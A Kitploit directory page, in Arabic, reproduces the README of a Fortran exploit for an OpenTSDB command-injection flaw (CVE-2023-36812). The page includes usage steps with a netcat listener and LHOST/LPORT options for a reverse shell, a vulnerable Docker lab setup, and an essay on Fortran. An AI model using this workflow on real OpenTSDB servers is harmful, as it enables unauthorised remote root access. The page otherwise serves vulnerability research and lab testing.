Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
opentsdb_key_cmd_injection — أداة استغلال لثغرة حقن الأوامر في OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) مكتوبة بلغة Fortran | Kitploit
أدوات/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHuberikwynter/opentsdb_key_cmd_injection

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

opentsdb_key_cmd_injection

أداة استغلال لثغرة حقن الأوامر في OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) مكتوبة بلغة Fortran

عرض المستودع
71منذ 2 سنواتلم تتم المراجعة بعد

opentsdb_key_cmd_injection

استغلال لثغرة حقن أوامر في OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) مكتوب بلغة Fortran

نبذة

هذا استغلال لثغرة حقن أوامر في إصدارات OpenTSDB 2.4.1 وما قبلها (CVE-2023-36812/CVE-2023-25826). الاستغلال مكتوب بلغة Fortran الحديثة ويستعين بمكتبة http-client الرسمية للغة Fortran، والتي أُنشئت في وقت سابق من هذا العام.

تفاصيل الثغرة

OpenTSDB هي قاعدة بيانات سلاسل زمنية مفتوحة المصدر مكتوبة بلغة Java. في عام 2020، اكتُشفت ثغرة حقن أوامر في الإصدارات 2.4.0 وما قبلها، يمكن استغلالها للحصول على تنفيذ كود عن بُعد على المضيف بصلاحيات الجذر (root). وبما أن OpenTSDB لا يدعم المصادقة، فإن هذه الثغرة، المتتبعة باسم CVE-2020-35476، كان يمكن استغلالها من قبل أي شخص لديه إمكانية الوصول إلى واجهة الويب الخاصة بـ OpenTSDB. تم إصلاح المشكلة في الإصدار 2.4.1

في هذا العام اكتُشف أن التصحيح الخاص بـ CVE-2020-35476 كان غير مكتمل، وأن حقن الأوامر ما يزال ممكنًا في OpenTSDB 2.4.1 عبر عدة نواقل هجوم.

التفاصيل:

  • يُتتبَّع باسم: CVE-2023-36812. ومن الجدير بالذكر أن CVE-2023-25826 يبدو في الواقع أنه يصف نفس الثغرة، وكلا معرّفي CVE يشيران إلى نفس التصحيح تمامًا.
  • النشرة الأمنية: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • الفضل: Gal Goldstein وDaniel Abeles من Oxeye
  • التصحيح: سيُقدَّم التصحيح في الإصدار 2.4.2، وهو ليس إصدارًا رسميًا بعد. في وقت كتابة هذه السطور، أحدث إصدار لـ OpenTSDB هو 2.4.1، لذا فمن المرجح أن معظم مثيلات OpenTSDB في بيئات الإنتاج معرضة للخطر. ومع ذلك، تؤكد الأسئلة الشائعة FAQ الخاصة بـ OpenTSDB أن هذا المشروع "كُتب للاستخدام الداخلي فقط"، و"لم يخضع لأي مراجعة أمنية ولا يتضمن مصادقة."

لماذا Fortran؟

باختصار، رأيت هذا الحوار: why فكرة كتابة استغلال بـلغة البرمجة التي استُخدمت لإيصال البشر إلى القمر أثارت فضولي بشدة لدرجة أنني اضطررت إلى استكشافها بنفسي. هذا الاستغلال هو نتيجة تلك التجربة. وعن سؤال ما إذا كانت ناجحة، لا يمكنني الرد إلا بهذه الكلمات الحكيمة والملعونة في آنٍ واحد، والتي تربط جميع المطورين بالدم: إنها تعمل على جهازي. ¯\(ツ)/¯

على أي حال، أبرز ما استخلصته من هذا المشروع هو:

  • لغة Fortran رائعة في الواقع، وسهلة التعلم بشكل مفاجئ.
  • النظام البيئي الحديث للغة Fortran، بما في ذلك مدير الحزم fpm، يبدو واعدًا جدًا.
  • Fortran لغة ذات كتابة قوية (strongly typed)، ووجدت أن ذلك أمر جيد، لأنني واجهت عددًا قليلًا من أخطاء وقت التشغيل المزعجة.
  • مشاريع Fortran ذات التبعيات تكون ضخمة لأن fpm يضمّن الكود المصدري للتبعيات مباشرة في مشروعك. الفائدة من ذلك هي تجنب تلويث النظام.
  • دعم المكتبات محدود نسبيًا وفوضوي مقارنة باللغات الحديثة. لسوء الحظ، لا يقتصر هذا على مكتبة http-client فقط.
  • وكما هو متوقع، من الأصعب العثور على توثيق جيد ونصائح لاستكشاف الأخطاء وإصلاحها مقارنة بمعظم لغات البرمجة الحديثة، على الرغم من وجود عدد لا بأس به من المنشورات المفيدة على StackOverflow وفي منتديات شبه منسية من أوائل العقد الأول من القرن الحادي والعشرين.
  • الأدوات الذكية مثل ChatGPT وGithHub Copilot أقل موثوقية كرفاق برمجة مما هي عليه الحال مع اللغات الحديثة.

في المجمل، ليس من السهل تخيل أن هذه اللغة ستكتسب أهمية حقيقية في مجال الأمن الهجومي، ولو فقط لأن هناك العديد من البدائل الحديثة المتينة المتاحة لأي حالة استخدام يمكن تصورها (Python وGo وRust وRuby وC# على سبيل المثال لا الحصر). لكن إذا كنت تحب تجربة لغات برمجة مختلفة ولا تمانع في تغليف نصوصك البرمجية باستدعاءات trim() طوال الوقت (يُرجى الانتباه جيدًا إلى هذا الأمر، فهو سيوفر عليك قدرًا هائلًا من المعاناة)، فإن Fortran تستحق التجربة بكل تأكيد. أنا الآن أشجع هذه اللغة بكل صدق، وقد أعود إليها إذا واصلوا إضافة الدعم لمكتبة http-client، خاصة إذا أضافوا مكتبة http-server في وقت ما.

الخلاصة: مكتبة http-client للغة Fortran تشتغل بجنون.

الاستخدام

  • شغّل مستمعًا على نظامك، على سبيل المثال:
root@kitploit:~
nc -nlvp 1337
  • في نافذة منفصلة، انتقل إلى مجلد opentsdb_key_cmd_injection
root@kitploit:~
# cd /path/to/opentsdb_key_cmd_injection/
  • شغّل المشروع عبر fpm (تأكد من تثبيته أولًا. راجع تعليمات التثبيت في القسم التالي)
root@kitploit:~
# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]

الخيارات:

  • -t - TARGET URL: عنوان URL الأساسي الخاص بـ OpenTSDB (مطلوب)
  • -l - LHOST: عنوان IP للنظام الذي تشغّل عليه المستمع (مطلوب)
  • -p - LPORT: منفذ المستمع (مطلوب)
  • -v - VERBOSE: تفعيل الطباعة التفصيلية (اختياري)

التثبيت

  • ثبّت gfortran. على الأنظمة المبنية على Debian يمكن القيام بذلك عبر:
root@kitploit:~
apt install gfortran
  • ثبّت fpm. أسهل طريقة للقيام بذلك هي تنزيل ملف ثنائي لأحدث إصدار مستقر من صفحة releases الخاصة بـ fpm على GitHub ثم جعله قابلاً للتنفيذ:
root@kitploit:~
chmod +x /<path>/to/fpm

تأكد من تثبيت git على نظامك قبل تثبيت fpm.

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

إعداد مثيل OpenTSDB للاختبار

التثبيت اليدوي (غير موصى به)

للتثبيت اليدوي، يمكنك اتباع تعليمات التثبيت الرسمية هنا. ومع ذلك، قد يكون هذا الأمر مزعجًا، لذا أنصح باستخدام docker بدلًا من ذلك.

التثبيت عبر Docker (موصى به)

بالنسبة للإصدار 2.4.0، يمكنك استخدام صورة docker الخاصة بـ vulnhub واتباع تعليمات التثبيت هنا. تلك الصورة أُنشئت لثغرة CVE-2020-35476، وهي ثغرة أقدم في OpenTSDB حتى الإصدار 2.4.0.

بالنسبة للإصدار 2.4.1 وربما أي إصدار آخر، يمكنك الاستفادة من صورة vulhub الخاصة بـ OpenTSDB 2.4.0 وتعديلها لتثبيت الإصدار الذي تريده. اتبعت هذا النهج مع الإصدار 2.4.1 وكان ناجحًا للغاية.

  • أولًا، احصل على ملفي Dockerfile وdocker-entrypoint.sh الخاصين بـ vulhub OpenTSDB 2.4.0 من هنا واحفظهما في مجلد مخصص.
  • في Dockerfile، استبدل جميع حالات 2.4.0 بالإصدار الذي تريده، مثل 2.4.1
  • لا حاجة لأي تعديلات على docker-entrypoint.sh
  • أنشئ ملف docker-compose.yml بالمحتوى التالي:
root@kitploit:~
version: '2'
services:
 opentsdb:
   build: ./path-to-your-dockerfile-directory
   ports:
    - "4242:4242"

استخدمت هيكل الملفات هذا:

root@kitploit:~
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
  • أخيرًا، أنشئ الصورة وشغّلها عبر docker-compose عن طريق تنفيذ الأمر أدناه في المجلد الذي يحتوي على ملف docker-compose.yml:
root@kitploit:~
docker-compose up -d
  • بعد بضع ثوانٍ، سيكون OpenTSDB متاحًا على المنفذ 4242. لا يتطلب أي إعدادات إضافية.

نبذة تاريخية مختصرة عن Fortran (لماذا لا؟)

تُعرف Fortran غالبًا بأنها لغة قديمة لعبت دورًا مهمًا في تاريخ الحوسبة الحديثة، لكنها لم تعد تُعتبر ذات صلة اليوم. صدرت لأول مرة في عام 1957، أي قبل أكثر من عقد من ظهور كل من ARPANET وUnix. واستنادًا إلى فيديو بيانات السلاسل الزمنية هذا، كانت اللغة البرمجية المهيمنة طوال ستينيات وسبعينيات القرن العشرين، وبقيت ضمن أكثر 10 لغات شيوعًا حتى أواخر تسعينيات القرن العشرين. لكن بحلول وقت إصدار Windows 98، كانت قد خرجت بوضوح من دائرة الموضة، لصالح لغات أكثر حداثة مثل C وC++ وJava وJavaScript، وكلها ما تزال تُستخدم على نطاق واسع حتى اليوم.

وبصرف النظر عن الأرواح الشجاعة التي تدير الأنظمة القديمة، أشك في أن كثيرًا من العاملين في مجال تقنية المعلومات (ناهيك عن خارج فقاعتنا) صادفوا Fortran في العقدين الماضيين، أو حتى يدركون أنها ما تزال موجودة. على الرغم من ذلك، ما تزال Fortran قيد التطوير النشط. كما هو مذكور في موقع Fortran الرسمي، كانت آخر مراجعة للغة في عام 2018، ونأمل أن نشهد مراجعة أخرى هذا العام (2023). في الواقع، يبدو أن مجتمع Fortran كان نشطًا للغاية في السنوات القليلة الماضية، حيث أطلق عدة مشاريع كبرى للمساعدة في تحديث النظام البيئي، بما في ذلك:

  • stdlib: أول مكتبة معيارية لـ Fortran على الإطلاق (الإصدار الأول: 2021)
  • fpm: مدير حزم ونظام بناء حديث يُسمى fpm (أول إصدار ألفا: 2020)
  • http-client: مكتبة عميل HTTP المُشار إليها سابقًا (الإصدار الأول: 2023).

وبالنظر إلى ذلك، يبدو أن القائمين على الصيانة يهدفون إلى تحقيق نوع من العودة لـ Fortran، أو على أقل تقدير منح اللغة فرصة حقيقية للبقاء لعقود قليلة أخرى. وبينما لا يتوقع حتى أكثر المعجبين تعصبًا بـ Fortran أن تتصدر اللغة قائمة أفضل 10 لغات برمجة شيوعًا مرة أخرى، فإن التحديث المستمر للغة ونظامها البيئي جعل Fortran على الأرجح أكثر أهمية مما كانت عليه في العقد أو العقدين الماضيين.

تنزيل الأداة